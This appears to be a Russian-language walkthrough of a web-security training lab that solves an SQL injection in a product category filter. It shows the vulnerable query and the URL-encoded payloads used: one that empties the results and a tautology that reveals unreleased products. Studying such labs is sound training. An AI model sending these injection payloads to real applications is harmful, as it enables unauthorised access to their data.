Эта лабораторная работа содержит уязвимость SQL injection в фильтре категорий продуктов. Когда пользователь выбирает категорию, приложение выполняет SQL-запрос, подобный следующему:

https://0ab900ec030c754b80e840ee008c0060.web-security-academy.net/
SELECT
	*
FROM
	products
WHERE
	category = 'Gifts' AND released = 1

Чтобы решить лабораторную задачу, нужно выполнить атаку с помощью SQLi, в результате которой приложение должно отобразить один или несколько невыпущенных продуктов.

Solution

На странице вижу фильтр товаров:

IMG

При выборе какого либо из них меняется URL:

https://0ab900ec030c754b80e840ee008c0060.web-security-academy.net/filter?category=Accessories

Мне известно, что это SQL-инъекция, а значит нужно было бы подобрать обрамление запроса, но сам запрос у меня есть из условия лабы:

SELECT
	*
FROM
	products
WHERE
	category = 'Accessories' AND released = 1

Для обрамления используется одинарная кавычка, значит у нас должен сработать следующий вариант запроса:

SELECT
	*
FROM
	products
WHERE
	category = 'Accessories' and false-- - AND released = 1

При таком запросе мы должны получить пустую страницу.

Для теста нам нужно передать значение Accessories' and false-- - через GET-запрос:

https://0ab900ec030c754b80e840ee008c0060.web-security-academy.net/filter?category=Accessories%27%20and%20false%20--%20-

IMG

Для получения всех товаров передадим такое условие, которое всегда является истиным. Например a' or true -- -.

https://0ab900ec030c754b80e840ee008c0060.web-security-academy.net/filter?category=a%27%20or%20true%20--%20-

Мы получили весь список товаров)

До:

IMG

После:

IMG

Лаба пройдена:3 ☕